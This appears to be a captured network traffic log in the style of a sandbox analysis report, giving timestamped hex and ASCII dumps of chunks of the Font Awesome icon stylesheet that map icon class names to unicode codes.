2022-07-01 09:00:49 UTC 718 IN Data Raw: 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 34 22 3b 0a 7d 0a 2e 66 61 2d 67 65 61 72 73 3a 62 65 66 6f 72 65 
2c 0a 2e 66 61 2d 63 6f 67 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 35 22 3b 
0a 7d 0a 2e 66 61 2d 63 6f 6d 6d 65 6e 74 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 
30 38 36 22 3b 0a 7d 0a 2e 66 61 2d 74 68 75 6d 62 73 2d 6f 2d 75 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 6
5 6e 74 3a 20 22 5c 66 30 38 37 22 3b 0a 7d 0a 2e 66 61 2d 74 68 75 6d 62 73 2d 6f 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 
20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 38 22 3b 0a 7d 0a 2e 66 61 2d 73 74 61 72 2d 68 61 6c 66 3a 
62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 
Data Ascii: content: "\f084";}.fa-gears:before,.fa-cogs:before {  content: "\f085";}.fa-comments:before {  content: "\f0
86";}.fa-thumbs-o-up:before {  content: "\f087";}.fa-thumbs-o-down:before {  content: "\f088";}.fa-star-half:before {  content: 
"\f

2022-07-01 09:00:49 UTC 721 IN Data Raw: 6e 64 2d 6f 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 
34 22 3b 0a 7d 0a 2e 66 61 2d 68 61 6e 64 2d 6f 2d 6c 65 66 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 
74 3a 20 22 5c 66 30 61 35 22 3b 0a 7d 0a 2e 66 61 2d 68 61 6e 64 2d 6f 2d 75 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 
63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 36 22 3b 0a 7d 0a 2e 66 61 2d 68 61 6e 64 2d 6f 2d 64 6f 77 6e 3a 62 65 66 6f 
72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 37 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 63 69 7
2 63 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 38 22 3b 0a 7d 
0a 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 72 69 67 68 
Data Ascii: nd-o-right:before {  content: "\f0a4";}.fa-hand-o-left:before {  content: "\f0a5";}.fa-hand-o-up:before {  content: "\
f0a6";}.fa-hand-o-down:before {  content: "\f0a7";}.fa-arrow-circle-left:before {  content: "\f0a8";}.fa-arrow-circle-righ

2022-07-01 09:00:49 UTC 723 IN Data Raw: 63 64 22 3b 0a 7d 0a 2e 66 61 2d 74 61 62 6c 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 
20 22 5c 66 30 63 65 22 3b 0a 7d 0a 2e 66 61 2d 6d 61 67 69 63 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 
74 3a 20 22 5c 66 30 64 30 22 3b 0a 7d 0a 2e 66 61 2d 74 72 75 63 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 
65 6e 74 3a 20 22 5c 66 30 64 31 22 3b 0a 7d 0a 2e 66 61 2d 70 69 6e 74 65 72 65 73 74 3a 62 65 66 6f 72 65 20 7b 0a 
20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 64 32 22 3b 0a 7d 0a 2e 66 61 2d 70 69 6e 74 65 72 65 73 74 2d 73 71 75 
61 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 64 33 22 3b 0a 7d 0a 2e 66 61 2d 
67 6f 6f 67 6c 65 2d 70 6c 75 73 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 
Data Ascii: cd";}.fa-table:before {  content: "\f0ce";}.fa-magic:before {  content: "\f0d0";}.fa-truck:before {  content: "\f0d1";
}.fa-pinterest:before {  content: "\f0d2";}.fa-pinterest-square:before {  content: "\f0d3";}.fa-google-plus-square:befor

2022-07-01 09:00:49 UTC 726 IN Data Raw: 6c 69 67 68 74 62 75 6c 62 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 
65 62 22 3b 0a 7d 0a 2e 66 61 2d 65 78 63 68 61 6e 67 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 
20 22 5c 66 30 65 63 22 3b 0a 7d 0a 2e 66 61 2d 63 6c 6f 75 64 2d 64 6f 77 6e 6c 6f 61 64 3a 62 65 66 6f 72 65 20 7b 0a 
20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 65 64 22 3b 0a 7d 0a 2e 66 61 2d 63 6c 6f 75 64 2d 75 70 6c 6f 61 64 3a 62 
65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 65 65 22 3b 0a 7d 0a 2e 66 61 2d 75 73 65 72 2d 
6d 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 66 30 22 3b 0a 7d 0a 2e 66 61 2d 73 7
4 65 74 68 6f 73 63 6f 70 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 
Data Ascii: lightbulb-o:before {  content: "\f0eb";}.fa-exchange:before {  content: "\f0ec";}.fa-cloud-download:before {  
content: "\f0ed";}.fa-cloud-upload:before {  content: "\f0ee";}.fa-user-md:before {  content: "\f0f0";}.fa-stethoscope:before {  

2022-07-01 09:00:49 UTC 729 IN Data Raw: 7d 0a 2e 66 61 2d 6d 6f 62 69 6c 65 2d 70 68 6f 6e 65 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 6d 6f 62 69 6c 
65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 30 62 22 3b 0a 7d 0a 2e 66 61 2d 63 69 
72 63 6c 65 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 30 63 22 3b 0a 7d 0a 2e 
66 61 2d 71 75 6f 74 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 30 6
4 22 3b 0a 7d 0a 2e 66 61 2d 71 75 6f 74 65 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 
3a 20 22 5c 66 31 30 65 22 3b 0a 7d 0a 2e 66 61 2d 73 70 69 6e 6e 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 
74 65 6e 74 3a 20 22 5c 66 31 31 30 22 3b 0a 7d 0a 2e 66 61 2d 63 69 
Data Ascii: }.fa-mobile-phone:before,.fa-mobile:before {  content: "\f10b";}.fa-circle-o:before {  content: "\f10c";}.fa-quote-lef
t:before {  content: "\f10d";}.fa-quote-right:before {  content: "\f10e";}.fa-spinner:before {  content: "\f110";}.fa-ci

2022-07-01 09:00:49 UTC 731 IN Data Raw: 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 32 61 22 3b 0a 7d 0a 2e 66 61 2d 73 75 70 65 72 73 63 72 
69 70 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 32 62 22 3b 0a 7d 0a 2e 66 61 2d 
73 75 62 73 63 72 69 70 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 32 63 22 3b 0a 
7d 0a 2e 66 61 2d 65 72 61 73 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 32 64 2
2 3b 0a 7d 0a 2e 66 61 2d 70 75 7a 7a 6c 65 2d 70 69 65 63 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 
3a 20 22 5c 66 31 32 65 22 3b 0a 7d 0a 2e 66 61 2d 6d 69 63 72 6f 70 68 6f 6e 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 
6f 6e 74 65 6e 74 3a 20 22 5c 66 31 33 30 22 3b 0a 7d 0a 2e 66 61 
Data Ascii: {  content: "\f12a";}.fa-superscript:before {  content: "\f12b";}.fa-subscript:before {  content: "\f12c";}.fa-eraser:
before {  content: "\f12d";}.fa-puzzle-piece:before {  content: "\f12e";}.fa-microphone:before {  content: "\f130";}.fa

2022-07-01 09:00:49 UTC 734 IN Data Raw: 34 39 22 3b 0a 7d 0a 2e 66 61 2d 63 68 65 63 6b 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 
63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 34 61 22 3b 0a 7d 0a 2e 66 61 2d 70 65 6e 63 69 6c 2d 73 71 75 61 72 65 3a 62 
65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 34 62 22 3b 0a 7d 0a 2e 66 61 2d 65 78 74 65 72 6
e 61 6c 2d 6c 69 6e 6b 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 
34 63 22 3b 0a 7d 0a 2e 66 61 2d 73 68 61 72 65 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 
65 6e 74 3a 20 22 5c 66 31 34 64 22 3b 0a 7d 0a 2e 66 61 2d 63 6f 6d 70 61 73 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 
63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 34 65 22 3b 0a 7d 0a 2e 66 61 2d 
Data Ascii: 49";}.fa-check-square:before {  content: "\f14a";}.fa-pencil-square:before {  content: "\f14b";}.fa-external-link-
square:before {  content: "\f14c";}.fa-share-square:before {  content: "\f14d";}.fa-compass:before {  content: "\f14e";}.fa-
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2022-07-01 09:00:49 UTC 737 IN Data Raw: 61 2d 74 68 75 6d 62 73 2d 75 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 
36 34 22 3b 0a 7d 0a 2e 66 61 2d 74 68 75 6d 62 73 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 
6e 74 3a 20 22 5c 66 31 36 35 22 3b 0a 7d 0a 2e 66 61 2d 79 6f 75 74 75 62 65 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 
65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 36 36 22 3b 0a 7d 0a 2e 66 61 2d 79 6f 75 74 75 62 65 3a 62 6
5 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 36 37 22 3b 0a 7d 0a 2e 66 61 2d 78 69 6e 67 3a 62 
65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 36 38 22 3b 0a 7d 0a 2e 66 61 2d 78 69 6e 67 2d 
73 71 75 61 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 
Data Ascii: a-thumbs-up:before {  content: "\f164";}.fa-thumbs-down:before {  content: "\f165";}.fa-youtube-square:before {  
content: "\f166";}.fa-youtube:before {  content: "\f167";}.fa-xing:before {  content: "\f168";}.fa-xing-square:before {  conte

2022-07-01 09:00:49 UTC 739 IN Data Raw: 0a 2e 66 61 2d 67 72 61 74 69 70 61 79 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 
66 31 38 34 22 3b 0a 7d 0a 2e 66 61 2d 73 75 6e 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 
22 5c 66 31 38 35 22 3b 0a 7d 0a 2e 66 61 2d 6d 6f 6f 6e 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 
3a 20 22 5c 66 31 38 36 22 3b 0a 7d 0a 2e 66 61 2d 61 72 63 68 69 76 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 
74 65 6e 74 3a 20 22 5c 66 31 38 37 22 3b 0a 7d 0a 2e 66 61 2d 62 75 67 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 7
4 65 6e 74 3a 20 22 5c 66 31 38 38 22 3b 0a 7d 0a 2e 66 61 2d 76 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 
6e 74 3a 20 22 5c 66 31 38 39 22 3b 0a 7d 0a 2e 66 61 2d 77 65 69 
Data Ascii: .fa-gratipay:before {  content: "\f184";}.fa-sun-o:before {  content: "\f185";}.fa-moon-o:before {  content: "\f186";}
.fa-archive:before {  content: "\f187";}.fa-bug:before {  content: "\f188";}.fa-vk:before {  content: "\f189";}.fa-wei

2022-07-01 09:00:49 UTC 741 IN Data Raw: 74 65 6e 74 3a 20 22 5c 66 31 61 31 22 3b 0a 7d 0a 2e 66 61 2d 72 65 64 64 69 74 2d 73 71 75 61 72 65 3a 
62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 61 32 22 3b 0a 7d 0a 2e 66 61 2d 73 74 75 6d 
62 6c 65 75 70 6f 6e 2d 63 69 72 63 6c 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 61 
33 22 3b 0a 7d 0a 2e 66 61 2d 73 74 75 6d 62 6c 65 75 70 6f 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 7
4 3a 20 22 5c 66 31 61 34 22 3b 0a 7d 0a 2e 66 61 2d 64 65 6c 69 63 69 6f 75 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 
6f 6e 74 65 6e 74 3a 20 22 5c 66 31 61 35 22 3b 0a 7d 0a 2e 66 61 2d 64 69 67 67 3a 62 65 66 6f 72 65 20 7b 0a 20 20 
63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 61 36 22 3b 0a 7d 0a 2e 66 61 
Data Ascii: tent: "\f1a1";}.fa-reddit-square:before {  content: "\f1a2";}.fa-stumbleupon-circle:before {  content: "\f1a3";}.fa-st
umbleupon:before {  content: "\f1a4";}.fa-delicious:before {  content: "\f1a5";}.fa-digg:before {  content: "\f1a6";}.fa

2022-07-01 09:00:49 UTC 745 IN Data Raw: 0a 7d 0a 2e 66 61 2d 66 69 6c 65 2d 77 6f 72 64 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 
74 3a 20 22 5c 66 31 63 32 22 3b 0a 7d 0a 2e 66 61 2d 66 69 6c 65 2d 65 78 63 65 6c 2d 6f 3a 62 65 66 6f 72 65 20 7b 
0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 63 33 22 3b 0a 7d 0a 2e 66 61 2d 66 69 6c 65 2d 70 6f 77 65 72 70 6f 69 
6e 74 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 63 34 22 3b 0a 7d 0a 2e 66 61 
2d 66 69 6c 65 2d 70 68 6f 74 6f 2d 6f 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 66 69 6c 65 2d 70 69 63 74 75 72 65 2d 6f 
3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 66 69 6c 65 2d 69 6d 61 67 65 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 
74 65 6e 74 3a 20 22 5c 66 31 63 35 22 3b 0a 7d 0a 2e 66 61 2d 
Data Ascii: }.fa-file-word-o:before {  content: "\f1c2";}.fa-file-excel-o:before {  content: "\f1c3";}.fa-file-powerpoint-o:before {  
content: "\f1c4";}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before {  content: "\f1c5";}.fa-

2022-07-01 09:00:49 UTC 746 IN Data Raw: 6f 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 70 61 70 65 72 2d 70 6c 61 6e 65 2d 6f 3a 62 65 66 6f 72 65 20 7b 
0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 64 39 22 3b 0a 7d 0a 2e 66 61 2d 68 69 73 74 6f 72 79 3a 62 65 66 6f 
72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 64 61 22 3b 0a 7d 0a 2e 66 61 2d 63 69 72 63 6c 65 2d 74 
68 69 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 64 62 22 3b 0a 7d 0a 2e 66 61 2d 6
8 65 61 64 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 64 63 22 3b 0a 7d 0a 2e 66 
61 2d 70 61 72 61 67 72 61 70 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 64 64 22 
3b 0a 7d 0a 2e 66 61 2d 73 6c 69 64 65 72 73 3a 62 65 66 6f 72 65 20 
Data Ascii: o:before,.fa-paper-plane-o:before {  content: "\f1d9";}.fa-history:before {  content: "\f1da";}.fa-circle-thin:before {  
content: "\f1db";}.fa-header:before {  content: "\f1dc";}.fa-paragraph:before {  content: "\f1dd";}.fa-sliders:before 

2022-07-01 09:00:49 UTC 750 IN Data Raw: 0a 2e 66 61 2d 63 6f 70 79 72 69 67 68 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 
5c 66 31 66 39 22 3b 0a 7d 0a 2e 66 61 2d 61 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 
66 31 66 61 22 3b 0a 7d 0a 2e 66 61 2d 65 79 65 64 72 6f 70 70 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 
65 6e 74 3a 20 22 5c 66 31 66 62 22 3b 0a 7d 0a 2e 66 61 2d 70 61 69 6e 74 2d 62 72 75 73 68 3a 62 65 66 6f 72 65 20 
7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 66 63 22 3b 0a 7d 0a 2e 66 61 2d 62 69 72 74 68 64 61 79 2d 63 61 
6b 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 66 64 22 3b 0a 7d 0a 2e 66 61 2d 61 
72 65 61 2d 63 68 61 72 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 
Data Ascii: .fa-copyright:before {  content: "\f1f9";}.fa-at:before {  content: "\f1fa";}.fa-eyedropper:before {  content: "\f1fb"
;}.fa-paint-brush:before {  content: "\f1fc";}.fa-birthday-cake:before {  content: "\f1fd";}.fa-area-chart:before {  con

2022-07-01 09:00:49 UTC 753 IN Data Raw: 66 32 31 38 22 3b 0a 7d 0a 2e 66 61 2d 64 69 61 6d 6f 6e 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 
65 6e 74 3a 20 22 5c 66 32 31 39 22 3b 0a 7d 0a 2e 66 61 2d 73 68 69 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 
74 65 6e 74 3a 20 22 5c 66 32 31 61 22 3b 0a 7d 0a 2e 66 61 2d 75 73 65 72 2d 73 65 63 72 65 74 3a 62 65 66 6f 72 65 
20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 31 62 22 3b 0a 7d 0a 2e 66 61 2d 6d 6f 74 6f 72 63 79 63 6c 65 3a 
62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 31 63 22 3b 0a 7d 0a 2e 66 61 2d 73 74 72 65 6
5 74 2d 76 69 65 77 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 31 64 22 3b 0a 7d 0a 2e 
66 61 2d 68 65 61 72 74 62 65 61 74 3a 62 65 66 6f 72 65 20 7b 0a 
Data Ascii: f218";}.fa-diamond:before {  content: "\f219";}.fa-ship:before {  content: "\f21a";}.fa-user-secret:before {  
content: "\f21b";}.fa-motorcycle:before {  content: "\f21c";}.fa-street-view:before {  content: "\f21d";}.fa-heartbeat:before {

2022-07-01 09:00:49 UTC 755 IN Data Raw: 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 33 61 22 3b 0a 7d 0a 2e 66 61 2d 79 63 3a 62 65 
66 6f 72 65 2c 0a 2e 66 61 2d 79 2d 63 6f 6d 62 69 6e 61 74 6f 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 
74 3a 20 22 5c 66 32 33 62 22 3b 0a 7d 0a 2e 66 61 2d 6f 70 74 69 6e 2d 6d 6f 6e 73 74 65 72 3a 62 65 66 6f 72 65 20 
7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 33 63 22 3b 0a 7d 0a 2e 66 61 2d 6f 70 65 6e 63 61 72 74 3a 62 65 
66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 33 64 22 3b 0a 7d 0a 2e 66 61 2d 65 78 70 65 64 69 7
4 65 64 73 73 6c 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 33 65 22 3b 0a 7d 0a 2e 66 
61 2d 62 61 74 74 65 72 79 2d 34 3a 62 65 66 6f 72 65 2c 0a 2e 66 
Data Ascii: re {  content: "\f23a";}.fa-yc:before,.fa-y-combinator:before {  content: "\f23b";}.fa-optin-monster:before {  
content: "\f23c";}.fa-opencart:before {  content: "\f23d";}.fa-expeditedssl:before {  content: "\f23e";}.fa-battery-4:before,.f

2022-07-01 09:00:49 UTC 757 IN Data Raw: 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 35 34 22 3b 0a 7d 0a 2e 66 61 2d 68 61 6e 
64 2d 67 72 61 62 2d 6f 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 68 61 6e 64 2d 72 6f 63 6b 2d 6f 3a 62 65 66 6f 72 65 20 
7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 35 35 22 3b 0a 7d 0a 2e 66 61 2d 68 61 6e 64 2d 73 74 6f 70 2d 6f 
3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 68 61 6e 64 2d 70 61 70 65 72 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 
74 65 6e 74 3a 20 22 5c 66 32 35 36 22 3b 0a 7d 0a 2e 66 61 2d 68 61 6e 64 2d 73 63 69 73 73 6f 72 73 2d 6f 3a 62 65 
66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 35 37 22 3b 0a 7d 0a 2e 66 61 2d 68 61 6e 64 2d 6c 6
9 7a 61 72 64 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 
Data Ascii: fore {  content: "\f254";}.fa-hand-grab-o:before,.fa-hand-rock-o:before {  content: "\f255";}.fa-hand-stop-o
:before,.fa-hand-paper-o:before {  content: "\f256";}.fa-hand-scissors-o:before {  content: "\f257";}.fa-hand-lizard-o:before {  
con
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2022-07-01 09:00:49 UTC 759 IN Data Raw: 31 36 37 35 0d 0a 7d 0a 2e 66 61 2d 61 6d 61 7a 6f 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 
74 3a 20 22 5c 66 32 37 30 22 3b 0a 7d 0a 2e 66 61 2d 63 61 6c 65 6e 64 61 72 2d 70 6c 75 73 2d 6f 3a 62 65 66 6f 72 
65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 37 31 22 3b 0a 7d 0a 2e 66 61 2d 63 61 6c 65 6e 64 61 72 2d 
6d 69 6e 75 73 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 37 32 22 3b 0a 7d 0a 2
e 66 61 2d 63 61 6c 65 6e 64 61 72 2d 74 69 6d 65 73 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 
20 22 5c 66 32 37 33 22 3b 0a 7d 0a 2e 66 61 2d 63 61 6c 65 6e 64 61 72 2d 63 68 65 63 6b 2d 6f 3a 62 65 66 6f 72 65 
20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 37 34 22 3b 0a 
Data Ascii: 1675}.fa-amazon:before {  content: "\f270";}.fa-calendar-plus-o:before {  content: "\f271";}.fa-calendar-minus-
o:before {  content: "\f272";}.fa-calendar-times-o:before {  content: "\f273";}.fa-calendar-check-o:before {  content: "\f274";

2022-07-01 09:00:49 UTC 763 IN Data Raw: 3b 0a 7d 0a 2e 66 61 2d 73 68 6f 70 70 69 6e 67 2d 62 61 67 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 
65 6e 74 3a 20 22 5c 66 32 39 30 22 3b 0a 7d 0a 2e 66 61 2d 73 68 6f 70 70 69 6e 67 2d 62 61 73 6b 65 74 3a 62 65 66 
6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 39 31 22 3b 0a 7d 0a 2e 66 61 2d 68 61 73 68 74 61 67 
3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 39 32 22 3b 0a 7d 0a 2e 66 61 2d 62 6c 75 6
5 74 6f 6f 74 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 39 33 22 3b 0a 7d 0a 2e 66 
61 2d 62 6c 75 65 74 6f 6f 74 68 2d 62 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 39 34 
22 3b 0a 7d 0a 2e 66 61 2d 70 65 72 63 65 6e 74 3a 62 65 66 6f 72 
Data Ascii: ;}.fa-shopping-bag:before {  content: "\f290";}.fa-shopping-basket:before {  content: "\f291";}.fa-hashtag:before {  
content: "\f292";}.fa-bluetooth:before {  content: "\f293";}.fa-bluetooth-b:before {  content: "\f294";}.fa-percent:befor

2022-07-01 09:00:49 UTC 766 IN Data Raw: 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 61 62 22 3b 0a 7d 0a 2e 66 61 2d 73 6e 61 70 63 68 61 74 2d 67 68 6f 73 
74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 61 63 22 3b 0a 7d 0a 2e 66 61 2d 73 6e 
61 70 63 68 61 74 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 61 
64 22 3b 0a 7d 0a 2e 66 61 2d 70 69 65 64 2d 70 69 70 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3
a 20 22 5c 66 32 61 65 22 3b 0a 7d 0a 2e 66 61 2d 66 69 72 73 74 2d 6f 72 64 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 
63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 62 30 22 3b 0a 7d 0a 2e 66 61 2d 79 6f 61 73 74 3a 62 65 66 6f 72 65 20 7b 0a 
20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 62 31 22 3b 0a 7d 0a 2e 
Data Ascii: ontent: "\f2ab";}.fa-snapchat-ghost:before {  content: "\f2ac";}.fa-snapchat-square:before {  content: "\f2ad";}.fa-
pied-piper:before {  content: "\f2ae";}.fa-first-order:before {  content: "\f2b0";}.fa-yoast:before {  content: "\f2b1";}.

2022-07-01 09:00:49 UTC 769 IN Data Raw: 6d 6f 6d 65 74 65 72 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 66 75 6c 6c 
3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 63 37 22 3b 0a 7d 0a 2e 66 61 2d 74 68 65 
